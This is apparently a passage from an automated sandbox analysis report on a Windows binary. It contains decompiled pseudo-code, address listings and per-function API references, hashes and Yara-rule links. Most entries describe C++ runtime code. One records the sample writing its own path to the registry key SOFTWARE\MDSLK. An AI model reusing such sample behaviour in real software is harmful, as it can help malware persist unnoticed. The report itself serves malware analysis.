																																		 *((intOrPtr*)( *((intOrPtr*)( *_t449 + 4))))();
																																		 *0xb45c98 = _t449;
																																		goto L68;
																																	}
																																} else {
																																	_t449 = _t460;
																																	goto L68;
																																}
																															}
																														} else {
																															_t448 = _v16;
																															_v16 = _t448;
																															_v4 = 1;
																															E00AC70E1(__eflags, _t448);
																															 *0xb1531c();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t448 + 4))))();
																															 *0xb45c60 = _t448;
																															goto L61;
																														}
																													} else {
																														_t448 = _t459;
																														goto L61;
																													}
																												}
																											} else {
																												_t447 = _v16;
																												_v16 = _t447;
																												_v4 = 1;
																												E00AC70E1(__eflags, _t447);
																												 *0xb1531c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t447 + 4))))();
																												 *0xb45c94 = _t447;
																												goto L54;
																											}
																										} else {
																											_t447 = _t458;
																											goto L54;
																										}
																									}
																								} else {
																									_t446 = _v16;
																									_v16 = _t446;
																									_v4 = 1;
																									E00AC70E1(__eflags, _t446);
																									 *0xb1531c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t446 + 4))))();
																									 *0xb45c44 = _t446;
																									goto L47;
																								}
																							} else {
																								_t446 = _t457;
																								goto L47;
																							}
																						}
																					} else {
																						_t445 = _v16;
																						_v16 = _t445;
																						_v4 = 1;
																						E00AC70E1(__eflags, _t445);
																						 *0xb1531c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t445 + 4))))();
																						 *0xb45c78 = _t445;
																						goto L40;
																					}
																				} else {
																					_t445 = _t456;
																					goto L40;
																				}
																			}
																		} else {
																			_t444 = _v16;
																			_v16 = _t444;
																			_v4 = 1;
																			E00AC70E1(__eflags, _t444);
																			 *0xb1531c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t444 + 4))))();
																			 *0xb45c40 = _t444;
																			goto L33;
																		}
																	} else {
																		_t444 = _t455;
																		goto L33;
																	}
																}
															} else {
																_t443 = _v16;
																_v16 = _t443;
																_v4 = 1;
																E00AC70E1(__eflags, _t443);
																 *0xb1531c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t443 + 4))))();
																 *0xb45c74 = _t443;
																goto L26;
															}
														} else {
															_t443 = _t454;
															goto L26;
														}
													}
												} else {
													_t442 = _v16;
													_v16 = _t442;
													_v4 = 1;
													E00AC70E1(__eflags, _t442);
													 *0xb1531c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t442 + 4))))();
													 *0xb45c3c = _t442;
													goto L19;
												}
											} else {
												_t442 = _t453;
												goto L19;
											}
										}
									} else {
										_t441 = _v16;
										_v16 = _t441;
										_v4 = 1;
										E00AC70E1(__eflags, _t441);
										 *0xb1531c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t441 + 4))))();
										 *0xb45c70 = _t441;
										goto L12;
									}
								} else {
									_t441 = _t452;
									goto L12;
								}
							}
						} else {
							_t440 = _v16;
							_v16 = _t440;
							_v4 = 1;
							E00AC70E1(__eflags, _t440);
							 *0xb1531c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t440 + 4))))();
							 *0xb45c58 = _t440;
							goto L5;
						}
					} else {
						_t440 = _t451;
						goto L5;
					}
				}
			}

0x00ac9a7f
0x00ac9a7f
0x00ac9a86
0x00ac9a90
0x00ac9a95
0x00ac9aa0
0x00ac9aa4
0x00ac9aa7
0x00ac9aac
0x00ac9ab5
0x00ac9ab9
0x00ac9afe
0x00ac9b01
0x00ac9b08
0x00ac9b0d
0x00ac9abb
0x00ac9abd
0x00ac9ac3
0x00ac9ac9
0x00ac9ad1
0x00ac9ad4
0x00ac9b11
0x00ac9b1f
0x00ac9b24
0x00ac9b25
0x00ac9b2c
0x00ac9b36
0x00ac9b3b
0x00ac9b46
0x00ac9b4a
0x00ac9b4d
0x00ac9b52
0x00ac9b5b
0x00ac9b5d
0x00ac9b5f
0x00ac9ba4
0x00ac9ba7
0x00ac9bae
0x00ac9bb3
0x00ac9b61
0x00ac9b61
0x00ac9b63
0x00ac9b69
0x00ac9b6f
0x00ac9b77
0x00ac9b7a
0x00ac9bb7
0x00ac9bc5
0x00ac9bca
0x00ac9bcb
0x00ac9bd2
0x00ac9bdc
0x00ac9be1
0x00ac9bec
0x00ac9bf0
0x00ac9bf3
0x00ac9bf8
0x00ac9c01
0x00ac9c03
0x00ac9c05
0x00ac9c4a
0x00ac9c4d
0x00ac9c54
0x00ac9c59
0x00ac9c07
0x00ac9c07
0x00ac9c09
0x00ac9c0f
0x00ac9c15
0x00ac9c1d
0x00ac9c20
0x00ac9c5d
0x00ac9c6b
0x00ac9c70
0x00ac9c71
0x00ac9c78
0x00ac9c82
0x00ac9c87
0x00ac9c92
0x00ac9c96
0x00ac9c99
0x00ac9c9e
0x00ac9ca7
0x00ac9ca9
0x00ac9cab
0x00ac9cf0
0x00ac9cf3
0x00ac9cfa
0x00ac9cff
0x00ac9cad
0x00ac9cad
0x00ac9caf
0x00ac9cb5
0x00ac9cbb
0x00ac9cc3
0x00ac9cc6
0x00ac9d03
0x00ac9d11
0x00ac9d16
0x00ac9d17
0x00ac9d1e
0x00ac9d28
0x00ac9d2d
0x00ac9d38
0x00ac9d3c
0x00ac9d3f
0x00ac9d44
0x00ac9d4d
0x00ac9d4f
0x00ac9d51
0x00ac9d96
0x00ac9d99
0x00ac9da0
0x00ac9da5
0x00ac9d53
0x00ac9d53
0x00ac9d55
0x00ac9d5b
0x00ac9d61
0x00ac9d69
0x00ac9d6c
0x00ac9da9
0x00ac9db7
0x00ac9dbc
0x00ac9dbd
0x00ac9dc4
0x00ac9dce
0x00ac9dd3
0x00ac9dde
0x00ac9de2
0x00ac9de5
0x00ac9dea
0x00ac9df3
0x00ac9df5
0x00ac9df7
0x00ac9e3c
0x00ac9e3f
0x00ac9e46
0x00ac9e4b
0x00ac9df9
0x00ac9df9
0x00ac9dfb
0x00ac9e01
0x00ac9e07
0x00ac9e0f
0x00ac9e12
0x00ac9e4f
0x00ac9e5d
0x00ac9e62
0x00ac9e63
0x00ac9e6a
0x00ac9e74
0x00ac9e79
0x00ac9e84
0x00ac9e88
0x00ac9e8b
0x00ac9e90
0x00ac9e99
0x00ac9e9b
0x00ac9e9d
0x00ac9ee2
0x00ac9ee5
0x00ac9eec
0x00ac9ef1
0x00ac9e9f
0x00ac9e9f
0x00ac9ea1
0x00ac9ea7
0x00ac9ead
0x00ac9eb5
0x00ac9eb8
0x00ac9ef5
0x00ac9f03
0x00ac9f08
0x00ac9f09
0x00ac9f10
0x00ac9f1a
0x00ac9f1f
0x00ac9f2a
0x00ac9f2e
0x00ac9f31
0x00ac9f36
0x00ac9f3f
0x00ac9f41
0x00ac9f43
0x00ac9f88
0x00ac9f8b
0x00ac9f92
0x00ac9f97
0x00ac9f45
0x00ac9f45
0x00ac9f47
0x00ac9f4d
0x00ac9f53
0x00ac9f5b
0x00ac9f5e
0x00ac9f9b
0x00ac9fa9
0x00ac9fae
0x00ac9faf
0x00ac9fb6
0x00ac9fc0
0x00ac9fc5
0x00ac9fd0
0x00ac9fd4
0x00ac9fd7
0x00ac9fdc
0x00ac9fe5
0x00ac9fe7
0x00ac9fe9
0x00aca02e
0x00aca031
0x00aca038
0x00aca03d
0x00ac9feb
0x00ac9feb
0x00ac9fed
0x00ac9ff3
0x00ac9ff9
0x00aca001
0x00aca004
0x00aca041
0x00aca04f
0x00aca054
0x00aca055
0x00aca05c
0x00aca066
0x00aca06b
0x00aca076
0x00aca07a
0x00aca07d
0x00aca082
0x00aca08b
0x00aca08d
0x00aca08f
0x00aca0d4
0x00aca0d7
0x00aca0de
0x00aca0e3
0x00aca091
0x00aca091
0x00aca093
0x00aca099
0x00aca09f
0x00aca0a7
0x00aca0aa
0x00aca0e7
0x00aca0f5
0x00aca0fa
0x00aca0fb
0x00aca102
0x00aca10c
0x00aca111
0x00aca11c
0x00aca120
0x00aca123
0x00aca128
0x00aca131
0x00aca133
0x00aca135
0x00aca17a
0x00aca17d
0x00aca184
0x00aca189
0x00aca137
0x00aca137
0x00aca139
0x00aca13f
0x00aca145
0x00aca14d
0x00aca150
0x00aca18a
0x00aca18d
0x00aca19b
0x00aca1a0
0x00aca1a4
0x00aca1a8
0x00aca1ac
0x00aca1ac
0x00aca1ac
0x00aca1b0
0x00aca1b7
0x00aca1ba
0x00aca1c3
0x00aca152
0x00aca152
0x00aca155
0x00aca159
0x00aca15d
0x00aca16a
0x00aca172
0x00aca174
0x00000000
0x00aca174
0x00aca13b
0x00aca13b
0x00000000
0x00aca13b
0x00aca139
0x00aca0ac
0x00aca0ac
0x00aca0af
0x00aca0b3
0x00aca0b7
0x00aca0c4
0x00aca0cc
0x00aca0ce
0x00000000
0x00aca0ce
0x00aca095
0x00aca095
0x00000000
0x00aca095
0x00aca093
0x00aca006
0x00aca006
0x00aca009
0x00aca00d
0x00aca011
0x00aca01e
0x00aca026
0x00aca028
0x00000000
0x00aca028
0x00ac9fef
0x00ac9fef
0x00000000
0x00ac9fef
0x00ac9fed
0x00ac9f60
0x00ac9f60
0x00ac9f63
0x00ac9f67
0x00ac9f6b
0x00ac9f78
0x00ac9f80
0x00ac9f82
0x00000000
0x00ac9f82
0x00ac9f49
0x00ac9f49
0x00000000
0x00ac9f49
0x00ac9f47
0x00ac9eba
0x00ac9eba
0x00ac9ebd
0x00ac9ec1
0x00ac9ec5
0x00ac9ed2
0x00ac9eda
0x00ac9edc
0x00000000
0x00ac9edc
0x00ac9ea3
0x00ac9ea3
0x00000000
0x00ac9ea3
0x00ac9ea1
0x00ac9e14
0x00ac9e14
0x00ac9e17
0x00ac9e1b
0x00ac9e1f
0x00ac9e2c
0x00ac9e34
0x00ac9e36
0x00000000
0x00ac9e36
0x00ac9dfd
0x00ac9dfd
0x00000000
0x00ac9dfd
0x00ac9dfb
0x00ac9d6e
0x00ac9d6e
0x00ac9d71
0x00ac9d75
0x00ac9d79
0x00ac9d86
0x00ac9d8e
0x00ac9d90
0x00000000
0x00ac9d90
0x00ac9d57
0x00ac9d57
0x00000000
0x00ac9d57
0x00ac9d55
0x00ac9cc8
0x00ac9cc8
0x00ac9ccb
0x00ac9ccf
0x00ac9cd3
0x00ac9ce0
0x00ac9ce8
0x00ac9cea
0x00000000
0x00ac9cea
0x00ac9cb1
0x00ac9cb1
0x00000000
0x00ac9cb1
0x00ac9caf
0x00ac9c22
0x00ac9c22
0x00ac9c25
0x00ac9c29
0x00ac9c2d
0x00ac9c3a
0x00ac9c42
0x00ac9c44
0x00000000
0x00ac9c44
0x00ac9c0b
0x00ac9c0b
0x00000000
0x00ac9c0b
0x00ac9c09
0x00ac9b7c
0x00ac9b7c
0x00ac9b7f
0x00ac9b83
0x00ac9b87
0x00ac9b94
0x00ac9b9c
0x00ac9b9e
0x00000000
0x00ac9b9e
0x00ac9b65
0x00ac9b65
0x00000000
0x00ac9b65
0x00ac9b63
0x00ac9ad6
0x00ac9ad6
0x00ac9ad9
0x00ac9add
0x00ac9ae1
0x00ac9aee
0x00ac9af6
0x00ac9af8
0x00000000
0x00ac9af8
0x00ac9abf
0x00ac9abf
0x00000000
0x00ac9abf
0x00ac9abd

APIs

__EH_prolog3.LIBCMT ref: 00AC9A86
std::_Lockit::_Lockit.LIBCPMT ref: 00AC9A90

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC9AB0
moneypunct.LIBCPMT ref: 00AC9ACA
std::_Facet_Register.LIBCPMT ref: 00AC9AE1
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC9B01
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC9B1F

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowmoneypunctstd::locale::_
String ID:
API String ID: 2429134193-0
Opcode ID: 13e82e5d98ae140c635e9e8e90a4e9bad9882791dbace7a5f53ea7e0fe4e195b
Instruction ID: 4aecde6fbb27cf69c0be6dbc8de7d680ca41e89cc64ff717bd1bb55780720a49
Opcode Fuzzy Hash: 13e82e5d98ae140c635e9e8e90a4e9bad9882791dbace7a5f53ea7e0fe4e195b
Instruction Fuzzy Hash: 7F1129769006199BCF01EBA4C945FEE73B5BF44310F66040DF41167292DF749E01C791

Uniqueness

Uniqueness Score: -1.00%

Function 00AC9DBD, Relevance: 10.6, APIs: 7, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AC9DC4
std::_Lockit::_Lockit.LIBCPMT ref: 00AC9DCE

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC9DEE
numpunct.LIBCPMT ref: 00AC9E08
std::_Facet_Register.LIBCPMT ref: 00AC9E1F
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC9E3F
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC9E5D

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrownumpunctstd::locale::_
String ID:
API String ID: 1681632520-0
Opcode ID: d3db143d927ded3a2093610d146beb929b0fde0c2d2754c81cab1e1f9378fee9
Instruction ID: 440160e0c5e0b17b6b0f1397a77a8237f30f63acc10f2b4a224bf3f8e7ad7eb3
Opcode Fuzzy Hash: d3db143d927ded3a2093610d146beb929b0fde0c2d2754c81cab1e1f9378fee9
Instruction Fuzzy Hash: F111C2769006198BCF04EBA8C946FEEB7B9BF54310F56040DF9216B292DF749E01CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AC9E63, Relevance: 10.6, APIs: 7, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AC9E6A
std::_Lockit::_Lockit.LIBCPMT ref: 00AC9E74

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC9E94
numpunct.LIBCPMT ref: 00AC9EAE
std::_Facet_Register.LIBCPMT ref: 00AC9EC5
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC9EE5
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC9F03

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrownumpunctstd::locale::_
String ID:
API String ID: 1681632520-0
Opcode ID: 8e43188dd53c002b2bf308a55411e0b0af85ec559716843cdedf9eba2f39f619
Instruction ID: 3ced33cbeda92f2225f9b96842d00054fe01f955e84c260e184f913fe9c28bae
Opcode Fuzzy Hash: 8e43188dd53c002b2bf308a55411e0b0af85ec559716843cdedf9eba2f39f619
Instruction Fuzzy Hash: 9011A3769006299BCF05EBA4C945FEE77B5AF94310F26440DF4216B392DF749E01C791

Uniqueness

Uniqueness Score: -1.00%

Function 00ADD607, Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,?,0000FFFF,00000000,?,00000000,?,00ADBD21,?,?,?,00000000), ref: 00ADD615
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,00ADBD21,?,?,?,00000000), ref: 00ADD61B
GetLogicalProcessorInformation.KERNEL32(00000000,?,?,0000FFFF,00000000,?,00000000,?,00ADBD21,?,?,?,00000000), ref: 00ADD648
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,00ADBD21,?,?,?,00000000), ref: 00ADD652
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,00ADBD21,?,?,?,00000000), ref: 00ADD664
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00ADD67A
__CxxThrowException@8.LIBVCRUNTIME ref: 00ADD688

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorLast$InformationLogicalProcessor$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorException@8Throw
String ID:
API String ID: 4227777306-0
Opcode ID: 7c6909b50f0a173d4ed95a96dad80e6695273e1245d3280d81b4eb89a18fac60
Instruction ID: 2b77725b429a6675c99a012462aac0a0d9ccfaf4eae6442b494b471c30ce581f
Opcode Fuzzy Hash: 7c6909b50f0a173d4ed95a96dad80e6695273e1245d3280d81b4eb89a18fac60
Instruction Fuzzy Hash: 98018F31610505EBCB20ABE5DC49AFF3BB8BF81750BA08566F516D22A1EF24E90086E0

Uniqueness

Uniqueness Score: -1.00%

Function 00AA5B30, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 50registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00AA5BD0: GetModuleFileNameW.KERNEL32(00000000,00000000,00000000,00000000,00000104,00000000,80D348A2), ref: 00AA5C20

std::ios_base::good.LIBCPMTD ref: 00AA5B54
RegCreateKeyW.ADVAPI32(80000001,SOFTWARE\MDSLK,?), ref: 00AA5B6E
RegSetValueExW.ADVAPI32(?,Self,00000000,00000001,00000000,00000000), ref: 00AA5BA5
RegCloseKey.ADVAPI32(?), ref: 00AA5BAF

Strings

SOFTWARE\MDSLK, xrefs: 00AA5B64
Self, xrefs: 00AA5B9C

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseCreateFileModuleNameValuestd::ios_base::good
String ID: SOFTWARE\MDSLK$Self
API String ID: 1590783034-3971736956
Opcode ID: 5da52637bfca63dfc7cb00b9fa8d353803c2552448e6fed2312a8d86a8231f35
Instruction ID: 15d5556029ebb70638d29a65e8f687ffed912047a1dc871bd50be4bb57e3b50d
Opcode Fuzzy Hash: 5da52637bfca63dfc7cb00b9fa8d353803c2552448e6fed2312a8d86a8231f35
Instruction Fuzzy Hash: BD115A31D102189BCB14EBA0DD55AEEB3B4BB59300F404159E902771A1EFB4AA04CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00ACA90A, Relevance: 9.3, APIs: 6, Instructions: 285COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00ACA911
_strcspn.LIBCMT ref: 00ACA979
_strcspn.LIBCMT ref: 00ACA999
std::locale::locale.LIBCPMT ref: 00ACA9AA
ctype.LIBCPMT ref: 00ACAA07
std::locale::locale.LIBCPMT ref: 00ACAA12

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _strcspnstd::locale::locale$H_prolog3_ctype
String ID:
API String ID: 1860389146-0
Opcode ID: 2d1551b17de11c25221094679db97c9887384303bed7b1135be65c550b2ae798
Instruction ID: 8da047ed558b47eab772c727b8998f1616bf930a488f073c1538d1890985ce43
Opcode Fuzzy Hash: 2d1551b17de11c25221094679db97c9887384303bed7b1135be65c550b2ae798
Instruction Fuzzy Hash: 8CB1457190024DEFDF11DFA8C981EEEBBB9EF18314F15405AE845AB251D730AE46CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00ACAC18, Relevance: 9.3, APIs: 6, Instructions: 285COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00ACAC1F
_strcspn.LIBCMT ref: 00ACAC87
_strcspn.LIBCMT ref: 00ACACA7
std::locale::locale.LIBCPMT ref: 00ACACB8
ctype.LIBCPMT ref: 00ACAD15
std::locale::locale.LIBCPMT ref: 00ACAD20

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _strcspnstd::locale::locale$H_prolog3_ctype
String ID:
API String ID: 1860389146-0
Opcode ID: a2b5f53d94befbfaa488bc4af036c52e4ee066b50433464e1e698c6feb7baf24
Instruction ID: c5f9ecbafa714aeaeb5de716cc644312ec4d055c7182a2b4168d03b4ed136511
Opcode Fuzzy Hash: a2b5f53d94befbfaa488bc4af036c52e4ee066b50433464e1e698c6feb7baf24
Instruction Fuzzy Hash: 08B1347190025DAFDF11DFA4C984EEEBBB9FF18314F15405AE805AB251D730AE46CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00AC3AD3, Relevance: 9.3, APIs: 6, Instructions: 282COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AC3ADA
_strcspn.LIBCMT ref: 00AC3B42
_strcspn.LIBCMT ref: 00AC3B62
std::locale::locale.LIBCPMT ref: 00AC3B73
ctype.LIBCPMT ref: 00AC3BCE
std::locale::locale.LIBCPMT ref: 00AC3BD9

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _strcspnstd::locale::locale$H_prolog3_ctype
String ID:
API String ID: 1860389146-0
Opcode ID: 5d8d5c55ce7c577c443200fa7c54765e43ee8c170d11a5b555245894c8f87cdf
Instruction ID: 2913468c6d5bdb4bcb12deaba840c826a07e8c2dfabd7b407d3e15ff40cb9818
Opcode Fuzzy Hash: 5d8d5c55ce7c577c443200fa7c54765e43ee8c170d11a5b555245894c8f87cdf
Instruction Fuzzy Hash: 6AB12776D00249AFDF11DFA8C985EEEBBB9EF08310F558459E805BB252D730AE45CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00AF5800, Relevance: 9.3, APIs: 6, Instructions: 265COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 00AF598A
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00AF59A6
__allrem.LIBCMT ref: 00AF59BD
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00AF59DB
__allrem.LIBCMT ref: 00AF59F2
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00AF5A10

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 81f3dc9fea408dd1e17d2ae7ab174b56eedd6ba4144404d767dfd852c847f37e
Instruction ID: c04d69e30f15d0c99e1613024b9d29697de06a74a312ad22e24fc22c0edf2a2b
Opcode Fuzzy Hash: 81f3dc9fea408dd1e17d2ae7ab174b56eedd6ba4144404d767dfd852c847f37e
Instruction Fuzzy Hash: 9181D671E00B0A9BD724AFB9DC81B7A77E9AF543A0F14422AF715D76D1E770DA008B90

Uniqueness

Uniqueness Score: -1.00%

Function 00B0A81A, Relevance: 9.2, APIs: 6, Instructions: 168fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(80D348A2,00AB315C,00AB315C,?,?,?,?,?,?,?,?,00B0AFB0,00000000,00AB315C,00AB315C,00B102F0), ref: 00B0A85C
__fassign.LIBCMT ref: 00B0A8E6
__fassign.LIBCMT ref: 00B0A905
WriteFile.KERNEL32(?,00AB315C,00000000,?,00000000), ref: 00B0A954
WriteFile.KERNEL32(?,00B0AFB0,00000001,?,00000000), ref: 00B0A98E

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
